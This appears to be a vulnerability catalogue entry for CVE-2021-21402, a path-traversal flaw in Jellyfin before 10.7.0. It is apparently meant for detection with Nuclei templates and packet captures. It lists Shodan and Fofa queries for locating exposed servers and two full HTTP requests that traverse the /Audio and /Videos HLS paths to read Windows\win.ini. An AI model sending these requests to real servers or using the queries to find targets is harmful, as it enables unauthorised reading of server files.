| Title | Jellyfin <10.7.0 - Local File Inclusion |
|---|---|
| Author | dwisiswant0 |
| Severity | Medium |
| Impact | Successful exploitation could allow an attacker to read sensitive files on the server. |
| Remediation | This is fixed in version 10.7.1. |
| CVSS Score | 6.5 |
| EPSS Score | 0.9275 |
| CVE ID | CVE-2021-21402 |
| CWE ID | CWE-22 |
| Shodan Query | http.html:"Jellyfin"http.html:"jellyfin"http.title:"jellyfin" |
| Fofa Query | title="Jellyfin" || body="http://jellyfin.media"title="jellyfin"body="jellyfin"title="jellyfin" || body="http://jellyfin.media" |
| Tags | cve cve2021 jellyfin lfi vkev vuln |
Jellyfin before 10.7.0 is vulnerable to local file inclusion. This issue is more prevalent when Windows is used as the host OS. Servers exposed to public Internet are potentially at risk.
GET /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/14.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21402.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21402.pcap
N/AN/A